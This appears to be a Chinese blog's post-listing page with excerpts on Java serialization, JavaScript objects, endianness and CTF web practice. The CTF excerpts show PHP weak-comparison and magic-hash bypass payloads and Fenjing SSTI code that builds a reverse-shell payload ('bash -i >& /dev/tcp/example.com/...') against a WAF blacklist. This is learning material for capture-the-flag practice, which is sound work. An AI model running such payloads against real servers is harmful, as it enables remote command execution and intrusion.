🍵Java对象的序列化和反序列化

知道了PHP的序列化,我竟然不会Java序列化,学! 先学个单词 Serialize v.序列化 英 [ˈsɪəriəlaɪz] 美 [ˈsɪriəlaɪz] 什么是对象的序列化 在Java中,序列化是指将对象转换为字节流的过程。序列化可以实现对象的持久化,转为字节流之后可以将其保存到文件、数据库或者在网络中传输。 **那什么是持久化呢?**持久化就是将内存中的数据保存起来使它能够长期存在。比如我把某个Java对象保存到本地的一个文件,下次使用的时候再反序列化出来用。 反序列就是逆过程,把字节流转化为对象。使字节流在内存中重新创建一个实际的Java对象。 下面是一个例子,不能说看完例子就学会实例化了,写代码的时候往往有很多情况和细节,这时候就需要多写一写代码,多思考了。(这是我对自己说的)不要只看文章前面 Java代码实现(例子) //代码由GPT提供 import java.io.*; // 定义一个可序列化的类 class Person implements Serializable { String name; int age; public Person(String name, int age) { this.name = name; this.age = age; } } public class SerializationExample { public static void main(String[] args) { Person person = new Person("Alice", 30); // 序列化对象 try { FileOutputStream fileOut = new FileOutputStream("person.ser"); ObjectOutputStream out = new ObjectOutputStream(fileOut); out.writeObject(person); out.close(); fileOut.close(); System.out.println("对象已序列化并保存到person.ser文件中"); } catch (IOException e) { e.printStackTrace(); } // 反序列化对象 try { FileInputStream fileIn = new FileInputStream("person.ser"); ObjectInputStream in = new ObjectInputStream(fileIn); Person deserializedPerson = (Person) in.readObject(); in.close(); fileIn.close(); System.out.println("从person.ser文件中反序列化对象:" + deserializedPerson.name + " " + deserializedPerson.age); } catch (IOException | ClassNotFoundException e) { e.printStackTrace(); } } } 对象流 ObjectInputStream类和ObjectOutputStream类创建的对象称为对象输入流和对象输出流。 ...

June 11, 2024 · 3 min · Yalois

🍕JavaScript-创建对象的六种方式

创建对象 使用对象字面量 这是最常用的方法。 let person={ name: "John", age: 20, greet: function() { console.log("Hello,my name is "+this.name); } } person.greet(); //输出Hello,my name is John 使用构造函数 定义一个构造函数,然后使用new关键字来创建对象。 function Person(name, age) { this.name = name; this.age = age; this.greet = function() { console.log("Hello, my name is " + this.name); }; } // 创建对象 let john = new Person("John", 30); john.greet(); // 输出: Hello, my name is John 使用 Object.create() 方法 代码来自: Object.create() - JavaScript | MDN (mozilla.org) const person = { isHuman: false, printIntroduction: function () { console.log(`My name is ${this.name}. Am I human? ${this.isHuman}`); }, }; const me = Object.create(person); me.name = 'Matthew'; // “name”是在“me”上设置的属性,不是在“person”上。 me.isHuman = true; // 覆盖继承的属性 me.printIntroduction();//输出> "My name is Matthew. Am I human? true" 使用 ES6 类 ES6 引入了类语法,使得定义和创建对象更加直观。 ...

June 4, 2024 · 1 min · Yalois

​🕸️​CTFWeb周报11

十一次周报 Web PHP特性 弱比较 字符串的运算(T1) <?php highlight_file(__FILE__); error_reporting(0); $s = $_GET['a']; if(!is_numeric($s)){ if($s+1 === 1000){ die(getenv('FLAG')); } } ?> payload => ?a=999a 知识点 在PHP中,当你对一个字符串进行算术运算时,PHP会尝试将这个字符串转换为一个数字。如果字符串的开头部分是一个有效的数字,那么PHP会使用这个数字进行运算,忽略后面的非数字部分。 所以999a既绕过了!is_numberic,又在$s+1的时候得到1000。 Hash绕过(T2) <?php highlight_file(__FILE__); error_reporting(0); $a = $_GET['param1']; $b = $_POST['param2']; $c = $_GET['param3']; $d = $_POST['param4']; if($a!=$b && md5($a)==md5($b) && $c!=$d && sha1($c)==sha1($d)){ echo getenv('FLAG'); }else{ echo "fail"; } ?> payload=> GET param1=240610708&param3=aaroZmOk POST param2=QLTHNDT&param4=aaK1STfY 知识点 某些字符串经过hash处理后的值为0e开头的,PHP会当作科学计数法来处理。两个0e开头的hash值弱比较是相等的。 在此中情况下被弱比较类型判定为相等的hash值就被成为magic hash Plaintext MD5 Hash 240610708 0e462097431906509019562988736854 QLTHNDT 0e405967825401955372549139051580 QNKCDZO 0e830400451993494058024219903391 PJNPDWY 0e291529052894702774557631701704 NWWKITQ 0e763082070976038347657360817689 NOOPCJF 0e818888003657176127862245791911 MMHUWUV 0e701732711630150438129209816536 MAUXXQC 0e478478466848439040434801845361 IHKFRNS 0e256160682445802696926137988570 GZECLQZ 0e537612333747236407713628225676 GGHMVOE 0e362766013028313274586933780773 GEGHBXL 0e248776895502908863709684713578 EEIZDOI 0e782601363539291779881938479162 DYAXWCA 0e424759758842488633464374063001 DQWRASX 0e742373665639232907775599582643 BRTKUJZ 00e57640477961333848717747276704 ABJIHVY 0e755264355178451322893275696586 aaaXXAYW 0e540853622400160407992788832284 aabg7XSs 0e087386482136013740957780965295 aabC9RqS 0e041022518165728065344349536299 0e215962017 0e291242476940776845150308577824 Plaintext SHA1 Hash aaroZmOk 0e66507019969427134894567494305185566735 aaK1STfY 0e76658526655756207688271159624026011393 aaO8zKZF 0e89257456677279068558073954252716165668 aa3OFF9m 0e36977786278517984959260394024281014729 Plaintext MD4 Hash bhhkktQZ 0e949030067204812898914975918567 0e001233333333333334557778889 0e434041524824285414215559233446 0e00000111222333333666788888889 0e641853458593358523155449768529 0001235666666688888888888 0e832225036643258141969031181899 更多Magic Hashes请参考:https://github.com/spaze/hashes 版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。 原文链接:https://blog.csdn.net/qq_42739469/article/details/133311487 数组绕过 T3 这里是强比较,没法用hash绕过,因为'0e666’===‘0e777’的值为false。上一题hash绕过的题也是可以进行数组绕过的。 ...

June 2, 2024 · 2 min · Yalois

❕字节序:小端模式和大端模式

网络字节序是大端模式。 高位和低位 0x1122334455 左边是高位,右边是地位 十进制举例–>987 9(百位)是高位 7(个位)是低位 低地址和高地址(在内存中 0x1000h是低地址。 0x1001h是高地址。 如果你有两个内存地址,0x1000h 和 0x1001h,它们分别表示内存中的第 4096 和第 4097 个字节的位置。每个地址通常指向一个字节(8 位)。 大端模式 在大端模式下,数据的高字节存储在内存的低地址,而低字节存储在内存的高地址。 高字节低地址,低字节高地址。 小端模式 在小端模式下,数据的低字节存储在内存的低地址,而高字节存储在内存的高地址。 总结图 我把它总结成了一张图。 参考Url 高地址和低地址、高字节与低字节、大小端模式的转换、存储顺序-CSDN博客 大端模式、小端模式、高字节序、低字节序、MSB、LSB-CSDN博客 大端序和小端序_大端序和小端序的区别-CSDN博客 数据存储:小端模式和大端模式——终于搞明白了!!!_低地址和高地址是什么意思-CSDN博客 高位字节、低位字节 - 大胖儿在努力 - 博客园 (cnblogs.com) 关于内存地址与内存空间的理解_地址和存储空间的关系-CSDN博客 字节序(大小端)理解_字节序为小端序-CSDN博客 如果我的内容有错误,请通过下方的评论按钮联系我,谢谢。

May 26, 2024 · 1 min · Yalois

🕸️CTFWeb周报10

[SSTI自动化工具]Fenjing 专为CTF设计的Jinja2 SSTI全自动绕WAF脚本 | A Jinja2 SSTI cracker for bypassing WAF, designed for CTF https://github.com/Marven11/FenJing 使用pip安装运行 pip install fenjing 打开webui python -m fenjing webui 直接import库来生成payload # 精简代码 from fenjing import exec_cmd_payload def waf(s: str): blacklist = [ "config", "self", "g", "os", "class", "length", "mro", "base", "lipsum", "[", '"', "'", "_", ".", "+", "~", "{{", "0", "1", "2", "3", "4", "5", "6", "7", "8", "9", ] return all(word not in s for word in blacklist) shell_payload, will_print = exec_cmd_payload(waf, '要执行的shell') print(f"{shell_payload}") # github readme中提供的 from fenjing import exec_cmd_payload, config_payload import logging logging.basicConfig(level = logging.INFO) def waf(s: str): blacklist = [ "config", "self", "g", "os", "class", "length", "mro", "base", "lipsum", "[", '"', "'", "_", ".", "+", "~", "{{", "0", "1", "2", "3", "4", "5", "6", "7", "8", "9", "0","1","2","3","4","5","6","7","8","9" ] return all(word in s for word in blacklist) if __name__ == "__main__": shell_payload, _ = exec_cmd_payload(waf, "bash -c \"bash -i >& /dev/tcp/example.com/3456 0>&1\"") config_payload = config_payload(waf) print(f"{shell_payload=}") print(f"{config_payload=}") 无参数RCE 正则匹配网页:https://regex101.com/ ...

May 25, 2024 · 2 min · Yalois